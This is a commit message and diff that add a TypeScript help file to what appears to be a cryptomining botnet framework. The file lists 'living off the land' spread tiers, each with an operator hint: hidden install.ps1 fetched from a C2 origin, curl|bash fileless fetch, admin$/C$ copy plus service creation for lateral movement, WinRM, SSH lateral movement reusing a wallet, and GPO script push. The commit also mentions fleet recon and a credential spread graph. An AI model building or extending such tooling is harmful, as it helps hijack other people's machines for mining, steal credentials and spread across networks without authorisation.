Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

server/web/src/help/lotlOnionTiers.ts

@@ -0,0 +1,38 @@
+/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
+
+export const DEFAULT_LOTL_ONION_TIERS = [
+  'docker',
+  'wsl',
+  'powershell',
+  'dotnet',
+  'bits_curl',
+  'smb',
+  'winrm',
+  'linux',
+  'gpo',
+] as const;
+
+export type LotlOnionTierId = (typeof DEFAULT_LOTL_ONION_TIERS)[number];
+
+export interface LotlOnionTierDoc {
+  id: LotlOnionTierId;
+  label: string;
+  /** One-line operator hint for playbook tabs */
+  hint: string;
+}
+
+export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
+  { id: 'docker', label: 'Docker', hint: 'Container worker image — isolated RandomX, no host miner exe drop' },
+  { id: 'wsl', label: 'WSL', hint: 'WSL curl|bash one-liner when native Windows path is blocked' },
+  { id: 'powershell', label: 'PowerShell', hint: 'PS remoting / hidden install.ps1 from your C2 origin' },
+  { id: 'dotnet', label: 'dotnet', hint: 'dotnet tool-run bootstrap — no standalone payload exe' },
+  { id: 'bits_curl', label: 'bits/curl', hint: 'BITS transfer or curl|bash to /install.ps1 — fileless fetch' },
+  { id: 'smb', label: 'SMB', hint: 'admin$ / C$ copy + SCM — classic lateral on open 445' },
+  { id: 'winrm', label: 'WinRM', hint: 'Opportunistic PS remoting when 5985/5986 responds' },
+  { id: 'linux', label: 'Linux', hint: 'SSH lateral on Unix agents — same wallet, no extra drop' },
+  { id: 'gpo', label: 'GPO', hint: 'Domain startup/logon script push — operator-owned AD only' },
+];
+
+export function lotlTierDocUrl(tier: LotlOnionTierId): string {
+  return `/docs/SPREAD_TECHNIQUES.html#lotl-tier-${tier}`;
+}